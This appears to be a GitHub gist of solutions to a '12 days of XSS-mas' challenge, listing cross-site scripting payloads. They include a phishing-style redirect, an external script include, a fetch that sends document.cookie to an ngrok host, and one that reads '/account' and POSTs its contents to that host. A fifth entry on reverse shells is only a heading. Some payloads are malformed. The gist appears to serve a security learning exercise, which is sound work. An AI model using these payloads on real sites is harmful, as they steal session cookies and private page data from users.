Skip to content

Instantly share code, notes, and snippets.

@ruevaughn
Last active June 20, 2021 20:24
Show Gist options
  • Save ruevaughn/8f349968e9cb8607e02bd21aa2235e15 to your computer and use it in GitHub Desktop.
Save ruevaughn/8f349968e9cb8607e02bd21aa2235e15 to your computer and use it in GitHub Desktop.
12 days of xss-mas challenges lutions to the XSS challenge here https://www.youtube.com/watch?v=d84SP5r6n9c&t=824s
1. A phising page to try and fool me
<script>
window.location='example.com'
</script>
2. two viral vids
<script src=me2.xss.ht></script>
document.body.innerHTML='<iframe src=https://youtube.com/embed/dQw4w9WgXcQ?autoplay=1allow=autoplay</iframe>
</script>
3. three stolen cookies
<script>
fetch(`https://c48b9fbd76bf.ngrok.io?cookie=${encodeURIComponent(document.cookie)}`)
</script>
4.four protected pages
<script>
fetch('/account')
.then(p => p.text())
.then(t =>
fetch('https://c48b9fbd76bf.ngrok.io',{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({p:t})
})
)
</script>
5. five reverse shellls
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment